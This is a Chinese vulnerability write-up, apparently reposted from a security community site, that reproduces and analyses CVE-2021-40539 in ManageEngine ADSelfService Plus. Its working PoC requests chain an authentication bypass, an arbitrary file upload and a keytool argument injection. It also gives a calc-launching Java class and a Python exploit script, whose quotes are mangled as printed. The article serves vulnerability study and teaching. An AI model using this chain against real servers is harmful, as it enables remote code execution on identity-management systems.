暂无简介
概述
ZOHO ManageEngine ADSelfService Plus是美国卓豪(ZOHO)公司的针对 Active Directory 和云应用程序的集成式自助密码管理和单点登录解决方案。
CVE-2021-40539是一个身份认证绕过漏洞,可能导致任意远程代码执行 (RCE)。 根据官方信息,在2021年11月7日的6114版本中得到修复。
据CISA,CVE-2021-40539 已在野漏洞利用中被检测到,黑客可以利用此漏洞来控制受影响的系统。
作为JAVA安全研究菜鸟,本篇文章的思路是按照已知这个漏洞存在,并且知道poc的前提下,进行漏洞的复现以及原理的分析。在复现过程中发现与其它大佬分析的一些不同处,简单记录,一方面供新手参考;另一方面继续积累java漏洞模式理解,为后续开展漏洞挖掘做准备工作。
环境搭建
软件环境
官网只提供最新版下载,在下载网站可以下载到5.8版本
安装过程中有个坑,图形化界面安装到最后阶段后会卡在一个界面过不去,参考其他大佬的一些做法,我重启了自己的机器,然后运行安装目录下的C:\ManageEngine\ADSelfService Plus\bin\run.bat,即可开始文字界面的安装选择,然后就可以根据默认的8888端口(http),或者9251端口(https)打开web界面
调试环境配置
将C:\ManageEngine\ADSelfService Plus复制到我的Mac环境下,使用idea打开
在目标bin/run.bat中添加一行(这行命令直接去idea里面复制即可)
set JAVA_OPTS=%JAVA_OPTS% -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
然后停止服务,再双击run.bat重新以调试模式启动
在idea中设置相关调试设置
我们的调试环境就配置完成了
要怎么检验是否成功配置好了呢,可以查看C:\ManageEngine\ADSelfService Plus\webapps\adssp\WEB-INF\web.xml文件,可以看到以下内容
<filter>
<filter-name>AssociateCredential</filter-name>
<filter-class>com.adventnet.authentication.filter.AssociateCredential</filter-class>
</filter>
<filter-mapping>
<filter-name>AssociateCredential</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
可知,任意url模式下,都会触发AssociateCredential这个filter,因此,尝试在这个filter的doFilter函数下断点,随便访问一个页面,如果能断下来,则证明调试环境配置成功
尝试随便请求一个页面http://127.0.0.1:8888/authorization.do,发现果然断了下来,证明调试环境搭建成功
漏洞分析
认证绕过漏洞
认证绕过漏洞的一个例子是
POST /./RestAPI/LogonCustomization HTTP/1.1
Host: \{\{Hostname\}\}
Content-Type: application/x-www-form-urlencoded
Content-Length: 27
methodToCall=previewMobLogo
默认请求
但加上/./则可绕过认证
尝试分析一下这个流程,java应用中的web.xml是用来初始化配置信息,Welcome页面、servlet、servlet-mapping、filter、listener、启动加载级别等都可以在web.xml中定义
根据/./RestAPI/LogonCustomization这个url可以看到以下内容
<servlet>
<servlet-name>action</servlet-name>
<servlet-class>org.apache.struts.action.ActionServlet</servlet-class>
<init-param>
<param-name>config</param-name>
<param-value>/WEB-INF/struts-config.xml, /WEB-INF/accounts-struts-config.xml, /adsf/struts-config.xml, /WEB-INF/api-struts-config.xml, /WEB-INF/mobile/struts-config.xml</param-value>
</init-param>
<init-param>
<param-name>validate</param-name>
<param-value>true</param-value>
</init-param>
<init-param>
<param-name>chainConfig</param-name>
<param-value>org/apache/struts/tiles/chain-config.xml</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>action</servlet-name>
<url-pattern>/RestAPI/*</url-pattern>
</servlet-mapping>
证明请求/./RestAPI/LogonCustomization时候首先会调用到org.apache.struts.action.ActionServlet内容
因此直接尝试在其中doPost函数中下个断点
在下断点后,尝试发送正常的不带/./的请求
POST /RestAPI/LogonCustomization HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 27
methodToCall=previewMobLogo
发现并不会触发断点
但是尝试请求
POST /./RestAPI/LogonCustomization HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 27
methodToCall=previewMobLogo
发现可以触发断点
以上测试可以证明的是,认证校验代码并不存在org.apache.struts.action.ActionServlet以及之后的数据处理中,而应该在到org.apache.struts.action.ActionServlet之前的处理中,显然,应该是在filter中,尝试去看看这个url都会触发什么filter
根据web.xml,/RestAPI/LogonCustomization会按顺序触发以下filter
AssociateCredential
EncodingFilter
METrackFilter
ADSFilter
当然如果尝试在ActionServlet中下断点,看一下触发流程也可以知道有哪些filter
尝试在这几个filter的doFilter函数中都下断点
另外保留org.apache.struts.action.ActionServlet中的断点
在我们尝试发送认证绕过的数据包时候,这些filter以及ActionServlet均会触发
但是在尝试发送不带/./的普通数据包的时候,发现四个filter也都会被触发,但是却触发不了ActionServlet
两种情况相对比即可证明,针对restAPI的校验的逻辑应该是存在于最后的filter——ADSFilter中,因此,将认证绕过漏洞我们的分析重点放在ADSFilter对象中
要通过这个filter的检查,意味着不能return,要运行到最后filterChain.doFilter(request, response)这一行才可以
通过动态跟踪,发现使用不带绕过的url——/RestAPI/LogonCustomization时候,会在以下这一行return
restApiUrlPattern = this.filterParams.has("API_URL_PATTERN") ? this.filterParams.getString("API_URL_PATTERN") : "/RestAPI/.*";
if (Pattern.matches(restApiUrlPattern, reqURI) && !RestAPIFilter.doAction(servletRequest, servletResponse, this.filterParams, this.filterConfig)) {
return;
}
证明这里的检查没有通过,另一方面也证明我们使用/./RestAPI/LogonCustomization绕过的正是此处认证,尝试分析一下检查逻辑
在这段代码前边是以下逻辑,检查requrl是否匹配.*.do|.*.cc|/webclient/index.html
模式,如果匹配则进行相应的认证凭证校验
我们请求的/RestAPI/*不符合以上模式,因此会继续向下运行
其中Pattern.matches(restApiUrlPattern, reqURI)
中reqURI
是我们请求的url,分析前边代码可知restApiUrlPattern
的值为/RestAPI/.*,因此当我们请求的url为/./RestAPI/LogonCustomization很容易绕过这句判断,因为后边又紧跟着&&,因此只要这个判断不通过就不会return,绕过认证
任意文件上传漏洞
poc如下:
POST /./RestAPI/LogonCustomization HTTP/1.1
Host: 192.168.1.106:9251
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: Content-Type: application/x-www-form-urlencoded
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------39411536912265220004317003537
Te: trailers
Connection: close
Content-Length: 1212
-----------------------------39411536912265220004317003537
Content-Disposition: form-data; name="methodToCall"
unspecified
-----------------------------39411536912265220004317003537
Content-Disposition: form-data; name="Save"
yes
-----------------------------39411536912265220004317003537
Content-Disposition: form-data; name="form"
smartcard
-----------------------------39411536912265220004317003537
Content-Disposition: form-data; name="operation"
Add
-----------------------------39411536912265220004317003537
Content-Disposition: form-data; name="CERTIFICATE_PATH"; filename="test.txt"
Content-Type: application/octet-stream
arbitrary content
-----------------------------39411536912265220004317003537--
尝试发包
结果会在bin目录下创建test.txt这个文件,内容为arbitrary content
尝试分析逻辑
还是先看web.xml,
.....
<servlet>
<servlet-name>action</servlet-name>
<servlet-class>org.apache.struts.action.ActionServlet</servlet-class>
<init-param>
.....
<servlet-mapping>
<servlet-name>action</servlet-name>
<url-pattern>/RestAPI/*</url-pattern>
</servlet-mapping>
.....
显然这里使用了structs,想要找到具体的逻辑,我们去参考web.xml同目录下的struts-config.xml文件,搜索LogonCustomization
<action path="/LogonCustomization" type="com.adventnet.sym.adsm.common.webclient.admin.LogonCustomization" name="LogonCustomBean" validate="false" parameter="methodToCall" scope="request">
<forward name="LogonCustomization" path="LogonCustomizationPage"/>
</action>
因为poc中methodToCall的值是unspecified,初步确定相关逻辑在LogonCustomization中的unspecified函数中
public ActionForward unspecified(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response) throws Exception {
AdventNetResourceBundle rb = ResourceBundleMgr.getInstance().getBundle(request);
String message = "";
String messageType = "";
try {
DynaActionForm dynForm = (DynaActionForm)form;
Long loginId = (Long)request.getSession().getAttribute("ADMP_SESSION_LOGIN_ID");
ArrayList logonList = DomainUtil.getDomainShowStatus();
ArrayList loginAttrList = DomainUtil.getLoginAttrPropList();
request.setAttribute("forwardTo", "LogonSettings");
int j;
Properties p;
String domainName;
String formDomainStatus;
String loginAttrEnableStatus;
String operation;
String formValue;
String ldapName;
if (request.getParameter("Save") != null) {
message = rb.getString("adssp.common.text.success_update");
messageType = "success";
if ("mob".equalsIgnoreCase(request.getParameter("form"))) {
this.saveMobileSettings(logonList, request);
request.setAttribute("form", "mob");
} else if ("smartcard".equalsIgnoreCase(request.getParameter("form"))) {
operation = request.getParameter("operation");
SmartCardAction sCAction = new SmartCardAction();
if (operation.equalsIgnoreCase("Add")) {
request.setAttribute("CERTIFICATE_FILE", ClientUtil.getFileFromRequest(request, "CERTIFICATE_PATH"));
request.setAttribute("CERTIFICATE_NAME", ClientUtil.getUploadedFileName(request, "CERTIFICATE_PATH"));
sCAction.addSmartCardConfig(mapping, dynForm, request, response);
} else if (operation.equalsIgnoreCase("Update")) {
sCAction.updateSmartCardConfig(mapping, form, request, response);
}
if (request.getAttribute("SMART_CARD_DETAILS") != null) {
JSONObject status = (JSONObject)request.getAttribute("SMART_CARD_DETAILS");
if (status.has("eSTATUS")) {
messageType = "error";
message = rb.getString((String)status.get("eSTATUS"));
} else {
messageType = "success";
message = rb.getString((String)status.get("sSTATUS"));
}
}
} else {
for(j = 0; j < formElements.length; ++j) {
formValue = (String)dynForm.get(formElements[j]);
if (formValue != null && j != 1) {
ADSMPersUtil.updateSyMParameter(dbElements[j], formValue);
}
}
int j;
if (dynForm.get("SHOW_CAPTCHA_LOGIN_PAGE").toString().equals("true") || dynForm.get("SHOW_CAPTCHA_RUL_PAGE").toString().equals("true")) {
if ((Boolean)dynForm.get("CUSTOM_CAPTCHA")) {
j = Integer.parseInt(dynForm.get("MAX_INVALID_LOGIN").toString());
j = Integer.parseInt(dynForm.get("RESET_TIME").toString());
CaptchaUtil.updateLogonCaptchaSettings(true, j, j);
} else {
CaptchaUtil.updateLogonCaptchaSettings(false, 0, 0);
}
}
if ("true".equalsIgnoreCase((String)dynForm.get("showDomainBox"))) {
for(j = 0; j < logonList.size(); ++j) {
p = (Properties)logonList.get(j);
domainName = (String)p.get("DOMAIN_NAME");
int formStatus = 0;
formDomainStatus = request.getParameter(domainName + "_CHK");
if ("true".equalsIgnoreCase(formDomainStatus)) {
formStatus = 1;
}
DomainUtil.addUpdateLogonDomains(domainName, new String[]{"DISPLAY_STATUS"}, new int[]{formStatus});
}
}
ArrayList finalList = new ArrayList();
for(j = 0; j < loginAttrList.size(); ++j) {
Properties p = (Properties)loginAttrList.get(j);
ldapName = (String)p.get("LDAP_NAME");
Boolean enableStatus = (Boolean)p.get("ENABLE_STATUS");
loginAttrEnableStatus = request.getParameter(ldapName + "_LCHK");
if ("true".equalsIgnoreCase(loginAttrEnableStatus)) {
enableStatus = true;
} else {
enableStatus = false;
}
Properties savedProp = new Properties();
savedProp.put("LDAP_NAME", ldapName);
savedProp.put("ENABLE_STATUS", enableStatus);
finalList.add(savedProp);
}
DomainUtil.setLoginAttributeList(finalList);
Hashtable props = new Hashtable();
domainName = request.getParameter("ACCESS_CONTROL");
props.put("ACCESS_CONTROL", domainName == null ? "" : domainName);
UserUtil.setUserPersonal(loginId, props);
if (dynForm.get("HIDE_MACCESS_BUTTON").toString().equals("false")) {
CommonUtil.generateQrForSettingsConfiguration();
}
if (dynForm.get("userDisclaimerEnable").toString().equals("true")) {
ADSMPersUtil.updateUDEnableSettings("true");
} else {
ADSMPersUtil.updateUDEnableSettings("false");
}
}
} else if (!"mob".equalsIgnoreCase(request.getParameter("form"))) {
if ("sso".equalsIgnoreCase(request.getParameter("form"))) {
message = rb.getString((String)request.getAttribute("ssoMessage"));
messageType = (String)request.getAttribute("ssoMessageType");
request.setAttribute("form", "sso");
}
} else {
for(j = 0; j < logonList.size(); ++j) {
p = (Properties)logonList.get(j);
domainName = (String)p.get("DOMAIN_NAME");
DomainUtil.addUpdateLogonDomains(domainName, new String[]{"MOBILE_DISPLAY_STATUS"}, new int[]{1});
}
operation = request.getParameter("resetMobSettings");
if (operation != null && operation.equals("true")) {
MobileUtil.resetMobileSettings();
}
request.setAttribute("form", "mob");
}
for(j = 0; j < formElements.length; ++j) {
dynForm.set(formElements[j], ADSMPersUtil.getSyMParameter(dbElements[j]));
}
request.setAttribute("MOBILE_SETTINGS", MobileUtil.getMobileAppSettings());
MobileUtil.removeTempImage();
Hashtable userDisclaimerDetails = ADSMPersUtil.getUserDisclaimerSettings();
formValue = (String)userDisclaimerDetails.get("USER_DISCLAIMER_ENABLE_STATUS");
domainName = (String)userDisclaimerDetails.get("USER_DISCLAIMER_TITLE");
ldapName = (String)userDisclaimerDetails.get("USER_DISCLAIMER_CONTENT");
formDomainStatus = (String)userDisclaimerDetails.get("USER_DISCLAIMER_CHKBOX_CONTENT");
loginAttrEnableStatus = (String)userDisclaimerDetails.get("USER_DISCLAIMER_AGREE_CHKBOX");
dynForm.set("userDisclaimerEnable", formValue);
dynForm.set("userDisclaimerAgreeEnable", loginAttrEnableStatus);
dynForm.set("resetDisclaimerStatus", "false");
request.setAttribute("USER_DISCLAIMER_TITLE", domainName);
request.setAttribute("USER_DISCLAIMER_CONTENT", ldapName);
request.setAttribute("USER_DISCLAIMER_CHKBOX_CONTENT", formDomainStatus);
if (request.getParameter("form") != null) {
request.setAttribute("form", request.getParameter("form"));
}
JSONObject capParams = CaptchaUtil.getLogonCaptchaSettings();
if (capParams.getBoolean("IS_ENABLED")) {
dynForm.set("MAX_INVALID_LOGIN", capParams.getInt("MAX_INVALID_LOGIN"));
dynForm.set("RESET_TIME", capParams.getInt("TIME_TO_RESET"));
dynForm.set("CUSTOM_CAPTCHA", true);
} else {
dynForm.set("CUSTOM_CAPTCHA", false);
}
Hashtable hash = UserUtil.getUserPersonal(loginId, new String[]{"ACCESS_CONTROL"});
String val = (String)hash.get("ACCESS_CONTROL");
if (val == null || val.equals("-")) {
val = "";
}
dynForm.set("ACCESS_CONTROL", val);
if ("true".equalsIgnoreCase((String)dynForm.get("showDomainBox"))) {
logonList = DomainUtil.getDomainShowStatus();
}
request.setAttribute("logonList", logonList);
String sso = ADSMPersUtil.getSyMParameter("SSOAuthType");
if (sso != null) {
request.setAttribute("SSOAuthType", ADSMPersUtil.getSyMParameter("SSOAuthType"));
}
request.setAttribute("SingleSingOn", ADSMPersUtil.getSyMParameter("SingleSignOn"));
loginAttrList = DomainUtil.getLoginAttrPropList();
request.setAttribute("loginAttrList", loginAttrList);
ArrayList domList = new ArrayList();
for(int j = 0; j < logonList.size(); ++j) {
String domainName = (String)((Properties)logonList.get(j)).get("DOMAIN_NAME");
domList.add(domainName);
}
request.setAttribute("domainSSOProps", NTLMHandler.getSSOProps(domList));
SmartCardAction sCAction = new SmartCardAction();
sCAction.getSmartCardConfig(mapping, form, request, response);
} catch (Exception var25) {
var25.printStackTrace();
message = var25.getMessage();
}
request.setAttribute("SAMLIDPAuthDetails", SAMLIDPAuthHandler.getSAMLIdpList());
request.setAttribute("SAMLIDPConfigDetails", SAMLIDPAuthHandler.getSAMLConfigurations("LOGIN_AUTH"));
request.setAttribute("SAML_LOGIN_PATH", SAMLIDPAuthHandler.getAuthParamValue("AUTH_LOGIN_URL"));
request.setAttribute("SAML_LOGOUT_PATH", SAMLIDPAuthHandler.getAuthParamValue("AUTH_LOGOUT_URL"));
request.setAttribute("URL_CONFIG_ID_GEN", ProductUniqueSeqGenerator.generateUniqueIdentifier());
request.setAttribute("message", message);
request.setAttribute("messageType", messageType);
return mapping.findForward("LogonCustomization");
}
当满足SVAE参数是yes
,form参数是smartcard
,operation参数值为Add
时,会运行至这一行
sCAction.addSmartCardConfig(mapping, dynForm, request, response);
当请求数据中不包含CERTIFICATE_FILE参数,会运行至这一行
JSONObject certFileJson = FileUtil.getFileFromRequest(request, form, "CERTIFICATE_PATH");
进入getFileFromRequest方法
发现会从CERTIFICATE_PATH这个form中取出filename以及内容,创建新文件,造成任意文件上传
并且注意,此处fileName = formFile.getFileName()取到的直接是最终的文件内容,如果我们输入..\test.txt
或者license\test.txt
是无效的,取出内容依然是test.txt
RCE漏洞
RCE漏洞是匹配文件上传漏洞一起使用的,用于执行之前上传的文件
poc如下:
POST /./RestAPI/Connection HTTP/1.1
Host: 192.168.1.105:9251
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: Content-Type: application/x-www-form-urlencoded
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Te: trailers
Connection: close
Content-Length: 132
methodToCall=openSSLTool&action=generateCSR&KEY_LENGTH=1024+-providerclass+Si+-providerpath+"C:\ManageEngine\ADSelfService+Plus\bin"
参考struts-config.xml文件可以快速找到代码逻辑实现
<action path="/Connection" type="com.adventnet.sym.adsm.common.webclient.admin.ConnectionAction" parameter="methodToCall" name="personaliseForm" scope="request">
<forward name="ConnectionSettings" path="ConnectionSettings"/>
<forward name="SSLTool" path="SSLTool"/>
</action>
前往ConnectionAction中openSSLTool查看代码实现
public ActionForward openSSLTool(ActionMapping actionMap, ActionForm actionForm, HttpServletRequest request, HttpServletResponse response) throws Exception {
String action = request.getParameter("action");
if (action != null && action.equals("generateCSR")) {
SSLUtil.createCSR(request);
}
return actionMap.findForward("SSLTool");
}
根据代码,在判断请求数据中action参数generateCSR后即调用SSLUtil.createCSR
public static void createCSR(HttpServletRequest request) throws Exception {
JSONObject sslParams = new JSONObject();
sslParams.put("COMMON_NAME", request.getParameter("NAME"));
sslParams.put("SAN_NAME", request.getParameter("SAN_NAME"));
sslParams.put("OU", request.getParameter("OU"));
sslParams.put("ORGANIZATION", request.getParameter("ORGANIZATION"));
sslParams.put("LOCALITY", request.getParameter("LOCALITY"));
sslParams.put("STATE", request.getParameter("STATE"));
sslParams.put("COUNTRY_CODE", request.getParameter("COUNTRY_CODE"));
sslParams.put("PASSWORD", request.getParameter("PASSWORD"));
sslParams.put("VALIDITY", request.getParameter("VALIDITY"));
sslParams.put("KEY_LENGTH", request.getParameter("KEY_LENGTH"));
JSONObject csrStatus = createCSR(sslParams);
if (csrStatus.has("eStatus")) {
request.setAttribute("status", customizeError(csrStatus.getString("eStatus")));
} else {
request.setAttribute("status", "success");
}
}
从request中获取参数值后调用createCSR
public static JSONObject createCSR(JSONObject sslSettings) throws Exception {
........
StringBuilder keyCmd = new StringBuilder("..\\jre\\bin\\keytool.exe -J-Duser.language=en -genkey -alias tomcat -sigalg SHA256withRSA -keyalg RSA -keypass ");
keyCmd.append(password);
keyCmd.append(" -storePass ").append(password);
String keyLength = sslSettings.getString("KEY_LENGTH");
if (keyLength != null && !keyLength.equals("")) {
keyCmd.append(" -keysize ").append(keyLength);
}
String validity = sslSettings.getString("VALIDITY");
if (validity != null && !validity.equals("")) {
keyCmd.append(" -validity ").append(validity);
}
String san_name = sslSettings.getString("SAN_NAME");
keyCmd.append(" -dName \"CN=").append(ClientUtil.keyToolEscape(sslSettings.getString("COMMON_NAME")));
keyCmd.append(", OU= ").append(ClientUtil.keyToolEscape(sslSettings.getString("OU")));
keyCmd.append(", O=").append(ClientUtil.keyToolEscape(sslSettings.getString("ORGANIZATION")));
keyCmd.append(", L=").append(ClientUtil.keyToolEscape(sslSettings.getString("LOCALITY")));
keyCmd.append(", S=").append(ClientUtil.keyToolEscape(sslSettings.getString("STATE")));
keyCmd.append(", C=").append(ClientUtil.keyToolEscape(sslSettings.getString("COUNTRY_CODE")));
keyCmd.append("\" -keystore ..\\jre\\bin\\SelfService.keystore");
.........
String status = runCommand(keyCmd.toString());
}
}
createCSR方法中,会拼接各字段值然后调用runCommand执行,其中对于大部分参数都是用了keyToolEscape针对特殊字符进行了转义,只有KEY_LENGTH以及VALIDITY两个字段没有被转义,因此可以利用这两个字段
静态大概分析清楚了,尝试动态调试,将断点下载createCSR对象runCommand这一行
但是尝试使用burp发送poc数据包,却并没有断下来,尝试单步,发现在函数第一行sslSettings.getString("COMMON_NAME")
中报错进入异常处理
猜测应该是没有这个参数导致触发异常,看看下面还要区PASSWORD等其他参数的值,因此尝试修改poc,在其中加入这些字段参数
POST /./RestAPI/Connection HTTP/1.1
Host: 192.168.1.105:9251
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: Content-Type: application/x-www-form-urlencoded
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Te: trailers
Connection: close
Content-Length: 249
methodToCall=openSSLTool&action=generateCSR&KEY_LENGTH=1024+-providerclass+Si+-providerpath+"C:\ManageEngine\ADSelfService+Plus\bin"&NAME=test&VALIDITY=abc&PASSWORD=pasword&SAN_NAME=san&OU=ou&ORGANIZATION=og&LOCALITY=loc&STATE=state&COUNTRY_CODE=123
发现此时才可以成功触发断点
keycommand的值为..\jre\bin\keytool.exe -J-Duser.language=en -genkey -alias tomcat -sigalg SHA256withRSA -keyalg RSA -keypass "pasword" -storePass "pasword" -keysize 1024 -providerclass Si -providerpath "C:\ManageEngine\ADSelfService Plus\bin" -validity abc -dName "CN=test, OU= ou, O=og, L=loc, S=state, C=123" -keystore ..\jre\bin\SelfService.keystore -ext SAN=dns:san
其中-providerpath后边的"C:\ManageEngine\ADSelfService Plus\bin"
内容是我们注入的内容
下一步尝试看一下这条命令执行的含义
可知使用-providerpath
以及-providerclass
参数提供方类路径和类名,将要执行的代码放在静态区即可成功运行
漏洞利用
漏洞利用思路即利用三个漏洞,先上传编译好的带有命令执行的class文件,然后使用RCE漏洞触发上传的类中的静态方法
创建Si.java文件
import java.io.*;
public class Si{
static{
try{
Runtime rt = Runtime.getRuntime();
Process proc = rt.exec("calc");
}catch (IOException e){}
}
}
编译该文件生成Si.class
javac Si.java
然后使用任意文件上传漏洞上传Si.class,然后再使用RCE漏洞触发Si这个类中的静态代码——执行calc.exe。因为生成的Si.class包含不可见字符,因此,简单写一个脚本来完成最后这两步实现印证
import requests
from time import sleep
def upload(ip):
url = 'http://{ip}:8888/%2e/RestAPI/LogonCustomization'.format(ip=ip)
print(url)
data = {"methodToCall":"unspecified", "Save":"yes","form":"smartcard","operation":"Add"}
files = {'CERTIFICATE_PATH': ('Si.class', open('Si.class', 'rb'))}
requests.post(url=url,data=data,files=files)
return True
def runcmd(ip):
url = ‘http://{ip}:8888/%2e/RestAPI/Connection’.format(ip=ip)
data = {“methodToCall”:‘openSSLTool’,“action”:‘generateCSR’,“KEY_LENGTH”:‘1024 -providerclass Si -providerpath “C:\ManageEngine\ADSelfService+Plus\bin”‘,“NAME”:‘test’,“VALIDITY”:1,“PASSWORD”:‘pasword’,‘SAN_NAME’:‘san’,“OU”:‘ou’,‘ORGANIZATION’:‘og’,‘LOCALITY’:‘loc’,‘STATE’:‘state’,‘COUNTRY_CODE’:‘123’}
requests.post(url=url,data=data)
def main():
ip = ‘172.16.113.169’
upload(ip)
sleep(3)
runcmd(ip)
if name == “main“:
main()
运行可成功执行计算器
另外在这里记录一个很操蛋的问题,我这个脚本开始一直使用proxy通过burp发送不成功,但是不使用burp的proxy直接发送能成功,最后判断是因为burp会自动省略掉url里面的/./,很奇怪,不知道是bug还是burp自己刻意做的优化,如果是优化的话实在感觉很画蛇添足
参考
- 本文作者: 1s1and
- 本文来源: 先知社区
- 原文链接: https://xz.aliyun.com/t/11589
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!